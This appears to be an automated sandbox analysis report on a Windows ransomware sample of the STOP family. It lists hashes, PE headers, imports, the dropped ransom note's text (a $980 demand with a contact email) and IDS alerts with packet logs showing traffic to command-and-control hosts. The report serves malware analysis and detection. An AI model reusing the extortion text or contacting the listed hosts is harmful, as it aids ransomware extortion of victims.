SHA-256:	AE462BD6CEA8199A1AC173ACAFE02655061EE706A1372CD044E5FF7878D517F4
SHA-512:	F6876DFC6BC6F14D41C3DCFE5D3B36184A1C36AA8D869504D7E9B149156C0DD92B57D8811409DE87C00C23E498634B173CFD81814F5C6576C15DDC9691109DFE
Malicious:	false
Preview:	.PNG..Z..3J..(2k,~.#.P..v..6b].7.h...j..Y.a..g:.\|..~....8.....\dA....j&6Z...e..G..Ex.d.su@....).. X0..X.4b.+G5..%..@..............&...x.....)G...}t..A.".i.......e......Q. .ckf.?.r....-)..m\|nHCul.s.C`......n.1>.>......^.l..#6....-.}A....[........T.;.X.....P..`.{:Dt.F..s.8...$&-)....c.W.{&.<..W.i. 2z.<.B.P5......]Z.7(hd..?Dtb......../.4...&....9..v.~/l....B..kD.?.....N..y:.j,U.V.m.z....(....d.....f=m+......9...=.6.m...^.T.%'..7.....}...."!.Z.s.Yc.....C.-.......^...[.F.2~..dz.x..X.....`.N..Q.5P.-@f.....Z.8..g..=.z...g.l.Z...X.......e...m.\9..;3t...."B7.c..F)...e.{.H'.......?..08.l.V-:K..v.......D/..t..M.<.[[65.Bo.. &'..`j.Bg..XJBC..{P....xM~.F`..q..x.]..#.UJ.`....o./.......%..;=...F.3?......M..t.....Tzy...F...G.....I,[K.1..8S..s..:.X.:.....K.cR..#.c^..W+......>..."..V..z...~........:..6y@.u.....6[....V.5._"(..K...<.....mo.E.^....2.....R.i..($........8.\...+=%.Pe.I....2q....OW].2.B?.@.4.P.daw.....6d6I.g..?.9.Z.S.M"\|-.@ ..YL....z:..t5.LW

C:\_readme.txt

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1106
Entropy (8bit):	4.884160954585086
Encrypted:	false
SSDEEP:	24:FS5ZHPnIekFQjhRe9bgnYLuWFbmFRqrl3W4kA+GT/kF5M2/kh7HFJBr:WZHfv0p6WFbPFWrDGT0f/kRFn
MD5:	207EEEE7FD6A21E8160CDC1E3B1A40A8
SHA1:	3A23A59B7E8DDFEB10DF51EC6EFC820A38A8B0A4
SHA-256:	739FDC8C842DBA39620F6FA70AF2F9F264CC0F778A90B2A8E6C6F5C97CD2858F
SHA-512:	38292B7576EB7FAF496F9561D0E057BC82C49E733B7BE816B9E46F425310218FE9A0DC87C2EA25AF455166E0D93501DFABFB8FC33C7DBC1B8A8E921550DCD84C
Malicious:	true
Preview:	ATTENTION!....Don't worry, you can return all your files!..All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key...The only method of recovering files is to purchase decrypt tool and unique key for you...This software will decrypt all your encrypted files...What guarantees you have?..You can send one of your encrypted file from your PC and we decrypt it for free...But we can decrypt only 1 file for free. File must not contain valuable information...You can get and look video overview decrypt tool:..https://we.tl/t-B0FsLNO3fN..Price of private key and decrypt software is $980...Discount 50% available if you contact us first 72 hours, that's price for you is $490...Please note that you'll never restore your data without payment...Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours.......To get this software you need write on our e-mail:..helpteam@mail.ch....Reserve e-mail address to co

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.647996018974956
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	f6ffg1sZS2.exe
File size:	1'153'632 bytes
MD5:	37118cef94032f930d9ed40fa37144fe
SHA1:	892d01b286a17e9faedec5fbda3d268842306393
SHA256:	d83013d86062dab8e194ad14da91a214d2e539d1a9fff3e29c9e2e02f4bf9d07
SHA512:	c01e408709945cf912836d04a0e754d8cc7d1641e13cfa33809328498e031387e45b633fec885384a227002762d7f332bf82b58a8b0ff44a5c3433988991e9a1
SSDEEP:	24576:ZBUIKn/vwOXGUXAjCymYZiVtElVIBT2roqnTSSxWeT/dRPOO8RWQHUq7:F0dwAYZt6C31WeTVRPOhR7Uq7
TLSH:	6E35AE02BB819171E5D341BA0DFE977E883AA9A0933A95C3D7E91C568E306D0673F3C5
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......(O..l...l...l.....7.f.......+/..*...h.....9.m...../.m...a\|..Q...a\|7.s...a\|........&.n.....8.n.....#.M...l...........d...a\|3.m..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x424141
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x5D890137 [Mon Sep 23 17:30:31 2019 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	0c756c849bc7b459f78f7a5ce46cd4a7

Entrypoint Preview

Instruction
call 00007F9A695C1262h
jmp 00007F9A695B2F5Eh
jmp 00007F9A695B327Ch
push ebp
mov ebp, esp
push dword ptr [ebp+18h]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+08h]
call 00007F9A695B32BBh
int3
push ebp
mov ebp, esp
sub esp, 00000328h
mov eax, dword ptr [0050AD20h]
xor eax, ebp
mov dword ptr [ebp-04h], eax
cmp dword ptr [ebp+08h], FFFFFFFFh
push edi
je 00007F9A695B312Bh
push dword ptr [ebp+08h]
call 00007F9A695C1A04h
pop ecx
and dword ptr [ebp-00000320h], 00000000h
lea eax, dword ptr [ebp-0000031Ch]
push 0000004Ch
push 00000000h
push eax
call 00007F9A695BA3A3h
lea eax, dword ptr [ebp-00000320h]
add esp, 0Ch
mov dword ptr [ebp-00000328h], eax
lea eax, dword ptr [ebp-000002D0h]
mov dword ptr [ebp-00000324h], eax
mov dword ptr [ebp-00000220h], eax
mov dword ptr [ebp-00000224h], ecx
mov dword ptr [ebp-00000228h], edx
mov dword ptr [ebp-0000022Ch], ebx
mov dword ptr [ebp-00000230h], esi
mov dword ptr [ebp-00000234h], edi
mov word ptr [ebp-00000208h], ss
mov word ptr [ebp-00000214h], cs
mov word ptr [ebp-00000238h], ds
mov word ptr [ebp-0000023Ch], es
mov word ptr [ebp-00000240h], fs
mov word ptr [ebp+0000FDBCh], gs

Rich Headers

Programming Language:

[ASM] VS2013 UPD5 build 40629
[ C ] VS2013 UPD5 build 40629
[C++] VS2013 build 21005
[ASM] VS2013 build 21005
[ C ] VS2013 build 21005
[RES] VS2013 build 21005
[LNK] VS2013 UPD5 build 40629

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1085d0	0x154	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x12b000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x12c000	0xa32c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xcc460	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x105ac8	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xcc000	0x3f0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xca5bc	0xca600	9d3505098e4eee3dc361c6bef0b26b98	False	0.5030461029184682	data	6.570129941575212	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0xcc000	0x3dba2	0x3dc00	aa0bfade073273e0b72cb979757205bf	False	0.3958280617408907	data	5.667494932798434	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x10a000	0x20358	0x6400	b9cff45acba0bf73d16290994acd3da3	False	0.4978125	data	4.939624310736174	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x12b000	0x1e0	0x200	9c3280f335e8e346ce925599d24fcc62	False	0.533203125	data	4.7176788329467545	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x12c000	0xa32c	0xa400	24f3bb349067df95682b9a6026a53082	False	0.6199980945121951	data	6.612523450234696	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x12b060	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
RPCRT4.dll	RpcStringFreeW, UuidCreate, UuidToStringW, RpcStringFreeA, UuidToStringA
MPR.dll	WNetOpenEnumW, WNetEnumResourceW, WNetCloseEnum
WININET.dll	InternetCloseHandle, InternetReadFile, InternetOpenUrlW, InternetOpenW, HttpQueryInfoW, InternetOpenA, InternetOpenUrlA
WINMM.dll	timeGetTime
SHLWAPI.dll	PathAppendA, PathFindFileNameW, PathRemoveFileSpecW, PathFileExistsA, PathFileExistsW, PathAppendW, PathFindExtensionW
KERNEL32.dll	VirtualFree, WriteFile, GetDriveTypeA, OpenProcess, GlobalAlloc, GetSystemDirectoryW, WideCharToMultiByte, LoadLibraryW, Sleep, CopyFileW, FormatMessageW, lstrcpynW, CreateProcessA, TerminateProcess, ReadFile, CreateFileW, lstrcatA, GetEnvironmentVariableA, lstrcmpW, MultiByteToWideChar, lstrlenW, FlushFileBuffers, GetShortPathNameA, GetFileSizeEx, GetLastError, SetLastError, GetProcAddress, VirtualAlloc, MoveFileW, FindClose, Process32FirstW, LocalAlloc, CreateEventW, GetModuleFileNameA, Process32NextW, lstrcatW, CreateMutexA, FindNextFileW, CreateToolhelp32Snapshot, SetEnvironmentVariableA, DeleteFileW, LocalFree, lstrcpyW, DeleteFileA, lstrcpyA, SetPriorityClass, GetCurrentProcess, GetComputerNameW, GetLogicalDrives, GetModuleFileNameW, SetStdHandle, GetVersion, CreateDirectoryA, CreateThread, CompareStringW, GetTimeFormatW, GetDateFormatW, EnumSystemLocalesW, GetUserDefaultLCID, IsValidLocale, GetLocaleInfoW, CreateSemaphoreW, GetModuleHandleW, GetTickCount, TlsFree, TlsSetValue, TlsGetValue, TlsAlloc, InitializeCriticalSectionAndSpinCount, SetUnhandledExceptionFilter, UnhandledExceptionFilter, GetModuleHandleA, GetVersionExA, GlobalMemoryStatus, LoadLibraryA, FlushConsoleInputBuffer, WaitForSingleObject, CreateDirectoryW, SetFilePointerEx, CreateProcessW, FreeLibrary, SetErrorMode, lstrlenA, SetFilePointer, FindFirstFileW, SetConsoleMode, CreateFileA, GetCommandLineW, GetNumberOfConsoleInputEvents, PeekConsoleInputA, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCurrentProcessId, QueryPerformanceCounter, GetTimeZoneInformation, RaiseException, GetStringTypeW, GetConsoleCP, ReadConsoleW, GetConsoleMode, HeapSize, LoadLibraryExW, OutputDebugStringW, SetConsoleCtrlHandler, RtlUnwind, FatalAppExitA, GetStartupInfoW, GetExitCodeProcess, LCMapStringW, DeleteCriticalSection, AreFileApisANSI, ExitProcess, GetProcessHeap, HeapReAlloc, GlobalFree, SetEndOfFile, ReadConsoleInputA, CloseHandle, HeapFree, HeapAlloc, EnterCriticalSection, LeaveCriticalSection, GetStdHandle, GetFileType, GetModuleHandleExW, WriteConsoleW, EncodePointer, DecodePointer, GetSystemTimeAsFileTime, IsDebuggerPresent, IsProcessorFeaturePresent, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, GetCurrentThread, GetCurrentThreadId
USER32.dll	PeekMessageW, PostThreadMessageW, DefWindowProcW, DispatchMessageW, UpdateWindow, CreateWindowExW, LoadCursorW, IsWindow, ShowWindow, RegisterClassExW, PostQuitMessage, GetMessageW, DestroyWindow, SendMessageW, GetProcessWindowStation, GetUserObjectInformationW, MessageBoxA, GetDesktopWindow, MessageBoxW, TranslateMessage
ADVAPI32.dll	RegCloseKey, CloseServiceHandle, GetUserNameW, ReportEventA, RegisterEventSourceA, DeregisterEventSource, CryptHashData, RegSetValueExW, CryptDestroyHash, ControlService, RegOpenKeyExW, CryptCreateHash, CryptEncrypt, CryptImportKey, QueryServiceStatus, RegQueryValueExW, CryptReleaseContext, OpenServiceW, OpenSCManagerW, CryptAcquireContextW, CryptGetHashParam
SHELL32.dll	SHGetPathFromIDListW, SHGetSpecialFolderLocation, ShellExecuteA, ShellExecuteExW, CommandLineToArgvW, SHGetFolderPathA
ole32.dll	CoInitialize, CoInitializeSecurity, CoUninitialize, CoCreateInstance
OLEAUT32.dll	SysFreeString, VariantInit, VariantClear, GetErrorInfo, CreateErrorInfo, SetErrorInfo, VariantChangeType, SysAllocString
IPHLPAPI.DLL	GetAdaptersInfo
WS2_32.dll	inet_ntoa, inet_addr, gethostbyname
DNSAPI.dll	DnsFree, DnsQuery_W
CRYPT32.dll	CryptStringToBinaryA
GDI32.dll	DeleteObject, GetObjectA, SelectObject, GetDeviceCaps, GetBitmapBits, BitBlt, DeleteDC, CreateDCA, CreateCompatibleDC, CreateCompatibleBitmap

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-27T18:31:04.628500+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49730	188.114.96.3	443	TCP
2024-10-27T18:31:06.869119+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49731	188.114.96.3	443	TCP
2024-10-27T18:31:07.348222+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49732	188.114.96.3	443	TCP
2024-10-27T18:31:08.261575+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49734	92.246.89.93	80	TCP
2024-10-27T18:31:08.261583+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49733	92.246.89.93	80	TCP
2024-10-27T18:31:08.261583+0100	2020826	ET MALWARE Potential Dridex.Maldoc Minimal Executable Request	1	192.168.2.4	49733	92.246.89.93	80	TCP
2024-10-27T18:31:08.261583+0100	2036333	ET MALWARE Win32/Vodkagats Loader Requesting Payload	1	192.168.2.4	49733	92.246.89.93	80	TCP
2024-10-27T18:31:14.408230+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49737	92.246.89.93	80	TCP
2024-10-27T18:31:14.408230+0100	2036334	ET MALWARE Win32/Filecoder.STOP Variant Request for Public Key	1	192.168.2.4	49737	92.246.89.93	80	TCP
2024-10-27T18:31:15.892910+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49735	92.246.89.93	80	TCP
2024-10-27T18:31:15.892910+0100	2833438	ETPRO MALWARE STOP Ransomware CnC Activity	1	192.168.2.4	49735	92.246.89.93	80	TCP
2024-10-27T18:31:16.756170+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49736	92.246.89.93	80	TCP
2024-10-27T18:31:16.756170+0100	2020826	ET MALWARE Potential Dridex.Maldoc Minimal Executable Request	1	192.168.2.4	49736	92.246.89.93	80	TCP
2024-10-27T18:31:16.756170+0100	2036333	ET MALWARE Win32/Vodkagats Loader Requesting Payload	1	192.168.2.4	49736	92.246.89.93	80	TCP
2024-10-27T18:31:17.809708+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49738	188.114.96.3	443	TCP
2024-10-27T18:31:20.552324+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49740	92.246.89.93	80	TCP
2024-10-27T18:31:25.431011+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49739	92.246.89.93	80	TCP
2024-10-27T18:31:25.431011+0100	2020826	ET MALWARE Potential Dridex.Maldoc Minimal Executable Request	1	192.168.2.4	49739	92.246.89.93	80	TCP
2024-10-27T18:31:25.431011+0100	2036333	ET MALWARE Win32/Vodkagats Loader Requesting Payload	1	192.168.2.4	49739	92.246.89.93	80	TCP
2024-10-27T18:31:26.067730+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49748	188.114.96.3	443	TCP
2024-10-27T18:31:26.690347+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49750	92.246.89.93	80	TCP
2024-10-27T18:31:26.691425+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49749	92.246.89.93	80	TCP
2024-10-27T18:31:26.691425+0100	2018581	ET MALWARE Single char EXE direct download likely trojan (multiple families)	1	192.168.2.4	49749	92.246.89.93	80	TCP
2024-10-27T18:31:26.691425+0100	2020826	ET MALWARE Potential Dridex.Maldoc Minimal Executable Request	1	192.168.2.4	49749	92.246.89.93	80	TCP
2024-10-27T18:31:26.691425+0100	2036333	ET MALWARE Win32/Vodkagats Loader Requesting Payload	1	192.168.2.4	49749	92.246.89.93	80	TCP
2024-10-27T18:31:29.388171+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49743	92.246.89.93	80	TCP
2024-10-27T18:31:29.388171+0100	2833438	ETPRO MALWARE STOP Ransomware CnC Activity	1	192.168.2.4	49743	92.246.89.93	80	TCP
2024-10-27T18:31:34.764955+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49751	92.246.89.93	80	TCP
2024-10-27T18:31:34.764955+0100	2018581	ET MALWARE Single char EXE direct download likely trojan (multiple families)	1	192.168.2.4	49751	92.246.89.93	80	TCP
2024-10-27T18:31:34.764955+0100	2020826	ET MALWARE Potential Dridex.Maldoc Minimal Executable Request	1	192.168.2.4	49751	92.246.89.93	80	TCP
2024-10-27T18:31:34.764955+0100	2036333	ET MALWARE Win32/Vodkagats Loader Requesting Payload	1	192.168.2.4	49751	92.246.89.93	80	TCP
2024-10-27T18:31:35.971028+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49752	92.246.89.93	80	TCP
2024-10-27T18:31:35.971028+0100	2833438	ETPRO MALWARE STOP Ransomware CnC Activity	1	192.168.2.4	49752	92.246.89.93	80	TCP
2024-10-27T18:31:39.095837+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49753	92.246.89.93	80	TCP
2024-10-27T18:31:39.095837+0100	2018581	ET MALWARE Single char EXE direct download likely trojan (multiple families)	1	192.168.2.4	49753	92.246.89.93	80	TCP
2024-10-27T18:31:39.095837+0100	2020826	ET MALWARE Potential Dridex.Maldoc Minimal Executable Request	1	192.168.2.4	49753	92.246.89.93	80	TCP
2024-10-27T18:31:39.095837+0100	2036333	ET MALWARE Win32/Vodkagats Loader Requesting Payload	1	192.168.2.4	49753	92.246.89.93	80	TCP
2024-10-27T18:31:45.223816+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49754	92.246.89.93	80	TCP
2024-10-27T18:31:45.223816+0100	2833438	ETPRO MALWARE STOP Ransomware CnC Activity	1	192.168.2.4	49754	92.246.89.93	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 27, 2024 18:31:03.392569065 CET	49730	443	192.168.2.4	188.114.96.3
Oct 27, 2024 18:31:03.392627001 CET	443	49730	188.114.96.3	192.168.2.4
Oct 27, 2024 18:31:03.392698050 CET	49730	443	192.168.2.4	188.114.96.3
Oct 27, 2024 18:31:03.405442953 CET	49730	443	192.168.2.4	188.114.96.3
Oct 27, 2024 18:31:03.405476093 CET	443	49730	188.114.96.3	192.168.2.4
Oct 27, 2024 18:31:04.048029900 CET	443	49730	188.114.96.3	192.168.2.4
Oct 27, 2024 18:31:04.048125029 CET	49730	443	192.168.2.4	188.114.96.3
Oct 27, 2024 18:31:04.125725985 CET	49730	443	192.168.2.4	188.114.96.3
Oct 27, 2024 18:31:04.125754118 CET	443	49730	188.114.96.3	192.168.2.4
Oct 27, 2024 18:31:04.126108885 CET	443	49730	188.114.96.3	192.168.2.4
Oct 27, 2024 18:31:04.126177073 CET	49730	443	192.168.2.4	188.114.96.3
Oct 27, 2024 18:31:04.130047083 CET	49730	443	192.168.2.4	188.114.96.3
Oct 27, 2024 18:31:04.171343088 CET	443	49730	188.114.96.3	192.168.2.4
Oct 27, 2024 18:31:04.628519058 CET	443	49730	188.114.96.3	192.168.2.4
Oct 27, 2024 18:31:04.628631115 CET	49730	443	192.168.2.4	188.114.96.3
Oct 27, 2024 18:31:04.628644943 CET	443	49730	188.114.96.3	192.168.2.4
Oct 27, 2024 18:31:04.628694057 CET	49730	443	192.168.2.4	188.114.96.3
Oct 27, 2024 18:31:04.630806923 CET	49730	443	192.168.2.4	188.114.96.3
Oct 27, 2024 18:31:04.630827904 CET	443	49730	188.114.96.3	192.168.2.4
Oct 27, 2024 18:31:05.760027885 CET	49731	443	192.168.2.4	188.114.96.3
Oct 27, 2024 18:31:05.760088921 CET	443	49731	188.114.96.3	192.168.2.4
Oct 27, 2024 18:31:05.760169029 CET	49731	443	192.168.2.4	188.114.96.3
Oct 27, 2024 18:31:05.770293951 CET	49731	443	192.168.2.4	188.114.96.3
Oct 27, 2024 18:31:05.770333052 CET	443	49731	188.114.96.3	192.168.2.4
Oct 27, 2024 18:31:06.181438923 CET	49732	443	192.168.2.4	188.114.96.3
Oct 27, 2024 18:31:06.181490898 CET	443	49732	188.114.96.3	192.168.2.4
Oct 27, 2024 18:31:06.181575060 CET	49732	443	192.168.2.4	188.114.96.3
Oct 27, 2024 18:31:06.194447041 CET	49732	443	192.168.2.4	188.114.96.3
Oct 27, 2024 18:31:06.194463015 CET	443	49732	188.114.96.3	192.168.2.4
Oct 27, 2024 18:31:06.378715992 CET	443	49731	188.114.96.3	192.168.2.4
Oct 27, 2024 18:31:06.378791094 CET	49731	443	192.168.2.4	188.114.96.3
Oct 27, 2024 18:31:06.382934093 CET	49731	443	192.168.2.4	188.114.96.3
Oct 27, 2024 18:31:06.382950068 CET	443	49731	188.114.96.3	192.168.2.4
Oct 27, 2024 18:31:06.383188963 CET	443	49731	188.114.96.3	192.168.2.4
Oct 27, 2024 18:31:06.383241892 CET	49731	443	192.168.2.4	188.114.96.3
Oct 27, 2024 18:31:06.384912014 CET	49731	443	192.168.2.4	188.114.96.3
Oct 27, 2024 18:31:06.431329012 CET	443	49731	188.114.96.3	192.168.2.4
Oct 27, 2024 18:31:06.821934938 CET	443	49732	188.114.96.3	192.168.2.4
Oct 27, 2024 18:31:06.822046995 CET	49732	443	192.168.2.4	188.114.96.3
Oct 27, 2024 18:31:06.829037905 CET	49732	443	192.168.2.4	188.114.96.3
Oct 27, 2024 18:31:06.829057932 CET	443	49732	188.114.96.3	192.168.2.4
Oct 27, 2024 18:31:06.829318047 CET	443	49732	188.114.96.3	192.168.2.4
Oct 27, 2024 18:31:06.829370975 CET	49732	443	192.168.2.4	188.114.96.3
Oct 27, 2024 18:31:06.831149101 CET	49732	443	192.168.2.4	188.114.96.3
Oct 27, 2024 18:31:06.869107962 CET	443	49731	188.114.96.3	192.168.2.4
Oct 27, 2024 18:31:06.869163990 CET	49731	443	192.168.2.4	188.114.96.3
Oct 27, 2024 18:31:06.869193077 CET	443	49731	188.114.96.3	192.168.2.4
Oct 27, 2024 18:31:06.869206905 CET	443	49731	188.114.96.3	192.168.2.4
Oct 27, 2024 18:31:06.869235992 CET	49731	443	192.168.2.4	188.114.96.3
Oct 27, 2024 18:31:06.869271994 CET	49731	443	192.168.2.4	188.114.96.3
Oct 27, 2024 18:31:06.869960070 CET	49731	443	192.168.2.4	188.114.96.3
Oct 27, 2024 18:31:06.869975090 CET	443	49731	188.114.96.3	192.168.2.4
Oct 27, 2024 18:31:06.875328064 CET	443	49732	188.114.96.3	192.168.2.4
Oct 27, 2024 18:31:07.104449034 CET	49733	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:07.104510069 CET	49734	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:07.109761953 CET	80	49733	92.246.89.93	192.168.2.4
Oct 27, 2024 18:31:07.109787941 CET	80	49734	92.246.89.93	192.168.2.4
Oct 27, 2024 18:31:07.109852076 CET	49733	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:07.109970093 CET	49733	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:07.109975100 CET	49734	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:07.110027075 CET	49734	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:07.115202904 CET	80	49733	92.246.89.93	192.168.2.4
Oct 27, 2024 18:31:07.115288973 CET	80	49734	92.246.89.93	192.168.2.4
Oct 27, 2024 18:31:07.348172903 CET	443	49732	188.114.96.3	192.168.2.4
Oct 27, 2024 18:31:07.348256111 CET	443	49732	188.114.96.3	192.168.2.4
Oct 27, 2024 18:31:07.348285913 CET	49732	443	192.168.2.4	188.114.96.3
Oct 27, 2024 18:31:07.348320007 CET	49732	443	192.168.2.4	188.114.96.3
Oct 27, 2024 18:31:07.349070072 CET	49732	443	192.168.2.4	188.114.96.3
Oct 27, 2024 18:31:07.349093914 CET	443	49732	188.114.96.3	192.168.2.4
Oct 27, 2024 18:31:07.393888950 CET	49735	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:07.399564981 CET	80	49735	92.246.89.93	192.168.2.4
Oct 27, 2024 18:31:07.399646997 CET	49735	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:07.399774075 CET	49735	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:07.405870914 CET	80	49735	92.246.89.93	192.168.2.4
Oct 27, 2024 18:31:08.261491060 CET	80	49734	92.246.89.93	192.168.2.4
Oct 27, 2024 18:31:08.261508942 CET	80	49733	92.246.89.93	192.168.2.4
Oct 27, 2024 18:31:08.261574984 CET	49734	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:08.261583090 CET	49733	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:08.263124943 CET	49734	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:08.263262033 CET	49733	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:08.267863035 CET	49736	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:08.268446922 CET	80	49734	92.246.89.93	192.168.2.4
Oct 27, 2024 18:31:08.268474102 CET	80	49733	92.246.89.93	192.168.2.4
Oct 27, 2024 18:31:08.273260117 CET	80	49736	92.246.89.93	192.168.2.4
Oct 27, 2024 18:31:08.273361921 CET	49736	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:08.274286985 CET	49736	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:08.279544115 CET	80	49736	92.246.89.93	192.168.2.4
Oct 27, 2024 18:31:13.262571096 CET	49737	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:13.267971992 CET	80	49737	92.246.89.93	192.168.2.4
Oct 27, 2024 18:31:13.268049955 CET	49737	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:13.268273115 CET	49737	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:13.273509979 CET	80	49737	92.246.89.93	192.168.2.4
Oct 27, 2024 18:31:14.408051968 CET	80	49737	92.246.89.93	192.168.2.4
Oct 27, 2024 18:31:14.408230066 CET	49737	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:14.408230066 CET	49737	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:14.413808107 CET	80	49737	92.246.89.93	192.168.2.4
Oct 27, 2024 18:31:15.892802954 CET	80	49735	92.246.89.93	192.168.2.4
Oct 27, 2024 18:31:15.892910004 CET	49735	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:15.893104076 CET	49735	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:15.898457050 CET	80	49735	92.246.89.93	192.168.2.4
Oct 27, 2024 18:31:16.689697027 CET	49738	443	192.168.2.4	188.114.96.3
Oct 27, 2024 18:31:16.689743042 CET	443	49738	188.114.96.3	192.168.2.4
Oct 27, 2024 18:31:16.689820051 CET	49738	443	192.168.2.4	188.114.96.3
Oct 27, 2024 18:31:16.697293997 CET	49738	443	192.168.2.4	188.114.96.3
Oct 27, 2024 18:31:16.697313070 CET	443	49738	188.114.96.3	192.168.2.4
Oct 27, 2024 18:31:16.756095886 CET	80	49736	92.246.89.93	192.168.2.4
Oct 27, 2024 18:31:16.756170034 CET	49736	80	192.168.2.4	92.246.89.93
Oct 27, 2024 18:31:16.756238937 CET	49736	80	192.168.2.4	92.246.89.93
